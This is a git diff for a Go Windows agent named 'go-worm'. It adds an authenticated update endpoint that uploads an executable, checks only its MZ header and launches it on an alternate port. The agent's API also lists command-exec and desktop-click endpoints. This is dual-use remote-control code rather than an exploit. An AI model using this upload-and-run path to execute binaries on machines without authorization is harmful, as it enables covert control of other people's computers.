diff --git a/lib/config/ports.go b/lib/config/ports.go
new file mode 100644
index 0000000..f71a690
--- /dev/null
+++ b/lib/config/ports.go
@@ -0,0 +1,41 @@
+package config
+
+import (
+ "net"
+ "path/filepath"
+ "strconv"
+)
+
+const (
+ PortPrimary = 5032
+ PortAlternate = 5033
+ UpdatesSubdir = "updates"
+)
+
+// AlternateListenAddr returns the other blue-green port (5032 <-> 5033).
+func AlternateListenAddr(current string) (string, error) {
+ host, portStr, err := net.SplitHostPort(current)
+ if err != nil {
+ return "", err
+ }
+ if host == "" {
+ host = "0.0.0.0"
+ }
+ port, err := strconv.Atoi(portStr)
+ if err != nil {
+ return "", err
+ }
+ next := PortAlternate
+ if port == PortAlternate {
+ next = PortPrimary
+ }
+ return net.JoinHostPort(host, strconv.Itoa(next)), nil
+}
+
+func UpdatesDir() (string, error) {
+ base, err := InstallDir()
+ if err != nil {
+ return "", err
+ }
+ return filepath.Join(base, UpdatesSubdir), nil
+}
diff --git a/lib/config/ports_test.go b/lib/config/ports_test.go
new file mode 100644
index 0000000..721c7cd
--- /dev/null
+++ b/lib/config/ports_test.go
@@ -0,0 +1,14 @@
+package config
+
+import "testing"
+
+func TestAlternateListenAddr(t *testing.T) {
+ next, err := AlternateListenAddr("0.0.0.0:5032")
+ if err != nil || next != "0.0.0.0:5033" {
+ t.Fatalf("5032 -> %q, %v", next, err)
+ }
+ next, err = AlternateListenAddr("0.0.0.0:5033")
+ if err != nil || next != "0.0.0.0:5032" {
+ t.Fatalf("5033 -> %q, %v", next, err)
+ }
+}
diff --git a/lib/instance/launch_stub.go b/lib/instance/launch_stub.go
index bc4c73f..4a3ac56 100644
--- a/lib/instance/launch_stub.go
+++ b/lib/instance/launch_stub.go
@@ -2,10 +2,8 @@
package instance
-func Launch(exe string, args []string) error {
- return nil
-}
+import "errors"
-func RestartSelf() error {
- return nil
+func Launch(exe string, args []string) error {
+ return errors.New("launch is only supported on windows")
}
diff --git a/lib/openapi/spec.go b/lib/openapi/spec.go
index 2e568b2..0a942bd 100644
--- a/lib/openapi/spec.go
+++ b/lib/openapi/spec.go
@@ -230,6 +230,32 @@ func Spec() map[string]any {
}),
},
},
+ "/api/v1/update": map[string]any{
+ "post": map[string]any{
+ "summary": "Deploy uploaded agent executable on alternate port",
+ "operationId": "deployUpdate",
+ "description": "Upload a .exe and launch it on port 5033 when this instance uses 5032, or vice versa. The current instance is left running.",
+ "requestBody": map[string]any{
+ "required": true,
+ "content": map[string]any{
+ "multipart/form-data": map[string]any{
+ "schema": map[string]any{
+ "type": "object",
+ "required": []string{"file"},
+ "properties": map[string]any{
+ "file": map[string]string{"type": "string", "format": "binary", "description": "Windows amd64 executable"},
+ },
+ },
+ },
+ },
+ },
+ "responses": auth(map[string]any{
+ "200": okJSON("Update launched", ref("UpdateResult")),
+ "400": errResp("Invalid file or executable"),
+ "409": errResp("Alternate port already in use"),
+ }),
+ },
+ },
"/api/v1/input/click": map[string]any{
"post": map[string]any{
"summary": "Click the desktop",
@@ -350,6 +376,15 @@ func Spec() map[string]any {
"name": map[string]string{"type": "string"},
},
},
+ "UpdateResult": map[string]any{
+ "type": "object",
+ "properties": map[string]any{
+ "ok": map[string]any{"type": "boolean"},
+ "path": map[string]string{"type": "string"},
+ "listen_address": map[string]string{"type": "string"},
+ "previous_listen_address": map[string]string{"type": "string"},
+ },
+ },
"ExecRequest": map[string]any{
"type": "object", "required": []string{"command"},
"properties": map[string]any{
diff --git a/lib/update/deploy_stub.go b/lib/update/deploy_stub.go
new file mode 100644
index 0000000..365c210
--- /dev/null
+++ b/lib/update/deploy_stub.go
@@ -0,0 +1,9 @@
+//go:build !windows
+
+package update
+
+import "errors"
+
+func deployLaunch(savedPath, nextAddr string) error {
+ return errors.New("deploy is only supported on windows")
+}
diff --git a/lib/update/deploy_windows.go b/lib/update/deploy_windows.go
new file mode 100644
index 0000000..2c8247e
--- /dev/null
+++ b/lib/update/deploy_windows.go
@@ -0,0 +1,17 @@
+//go:build windows
+
+package update
+
+import (
+ "fmt"
+
+ "tea.chunkbyte.com/kato/go-worm/lib/instance"
+)
+
+func deployLaunch(savedPath, nextAddr string) error {
+ args := []string{"-parallel", "-addr", nextAddr, "-skip-install"}
+ if err := instance.Launch(savedPath, args); err != nil {
+ return fmt.Errorf("launch update: %w", err)
+ }
+ return nil
+}
diff --git a/lib/update/update.go b/lib/update/update.go
new file mode 100644
index 0000000..5505ff0
--- /dev/null
+++ b/lib/update/update.go
@@ -0,0 +1,79 @@
+package update
+
+import (
+ "fmt"
+ "io"
+ "net"
+ "os"
+ "path/filepath"
+ "time"
+
+ "tea.chunkbyte.com/kato/go-worm/lib/config"
+)
+
+// Deploy saves exe and launches it on the alternate listen port (5032 <-> 5033).
+func Deploy(currentAddr string, body io.Reader) (savedPath, nextAddr string, err error) {
+ nextAddr, err = config.AlternateListenAddr(currentAddr)
+ if err != nil {
+ return "", "", err
+ }
+ if err := listenAvailable(nextAddr); err != nil {
+ return "", "", err
+ }
+
+ dir, err := config.UpdatesDir()
+ if err != nil {
+ return "", "", err
+ }
+ if err := os.MkdirAll(dir, 0o700); err != nil {
+ return "", "", err
+ }
+
+ name := fmt.Sprintf("update-%s.exe", time.Now().Format("20060102-150405"))
+ savedPath = filepath.Join(dir, name)
+ out, err := os.OpenFile(savedPath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o700)
+ if err != nil {
+ return "", "", err
+ }
+
+ var head [2]byte
+ if _, err := io.ReadFull(body, head[:]); err != nil {
+ _ = out.Close()
+ _ = os.Remove(savedPath)
+ return "", "", fmt.Errorf("invalid executable")
+ }
+ if head[0] != 'M' || head[1] != 'Z' {
+ _ = out.Close()
+ _ = os.Remove(savedPath)
+ return "", "", fmt.Errorf("file is not a Windows executable")
+ }
+ if _, err := out.Write(head[:]); err != nil {
+ _ = out.Close()
+ _ = os.Remove(savedPath)
+ return "", "", err
+ }
+ if _, err := io.Copy(out, body); err != nil {
+ _ = out.Close()
+ _ = os.Remove(savedPath)
+ return "", "", err
+ }
+ if err := out.Close(); err != nil {
+ _ = os.Remove(savedPath)
+ return "", "", err
+ }
+
+ if err := deployLaunch(savedPath, nextAddr); err != nil {
+ _ = os.Remove(savedPath)
+ return "", "", err
+ }
+ return savedPath, nextAddr, nil
+}
+
+func listenAvailable(addr string) error {
+ ln, err := net.Listen("tcp", addr)
+ if err != nil {
+ return fmt.Errorf("port %s is not available: %w", addr, err)
+ }
+ _ = ln.Close()
+ return nil
+}
diff --git a/lib/update/update_test.go b/lib/update/update_test.go
new file mode 100644
index 0000000..d68a1ed
--- /dev/null
+++ b/lib/update/update_test.go
@@ -0,0 +1,13 @@
+package update
+
+import (
+ "bytes"
+ "testing"
+)
+
+func TestDeployRejectsNonPE(t *testing.T) {
+ _, _, err := Deploy("0.0.0.0:5032", bytes.NewReader([]byte("not-exe")))
+ if err == nil {
+ t.Fatal("expected error")
+ }
+}
diff --git a/main.go b/main.go
index 8228ada..9bb6fef 100644
--- a/main.go
+++ b/main.go
@@ -29,10 +29,15 @@ func main() {
background := flag.Bool("background", false, "spawn detached agent and exit")
ensure := flag.Bool("ensure", false, "start the agent if it is not already running")
foreground := flag.Bool("foreground", false, "keep console visible (dev only)")
+ skipInstall := flag.Bool("skip-install", false, "do not copy exe into the install directory")
+ parallel := flag.Bool("parallel", false, "allow running beside another agent instance")
+ addr := flag.String("addr", "", "listen address host:port (overrides AGENT_ADDR)")
flag.Parse()
- if err := install.Ensure(); err != nil {
- die(err, *foreground)
+ if !*skipInstall {
+ if err := install.Ensure(); err != nil {
+ die(err, *foreground)
+ }
}
if *ensure {
@@ -58,8 +63,9 @@ func main() {
_ = helpers.AttachLogFile()
}
+ cfg := agent.Config{ListenAddr: *addr, Parallel: *parallel}
for {
- err := runAgent()
+ err := runAgent(cfg)
if err == nil {
return
}
@@ -72,7 +78,7 @@ func main() {
}
}
-func runAgent() (err error) {
+func runAgent(cfg agent.Config) (err error) {
defer func() {
if r := recover(); r != nil {
crashlog.RecordPanic(r)
@@ -80,7 +86,7 @@ func runAgent() (err error) {
}
}()
- a, err := agent.New()
+ a, err := agent.New(cfg)
if err != nil {
if strings.Contains(err.Error(), "already running") {
return errAlreadyRunning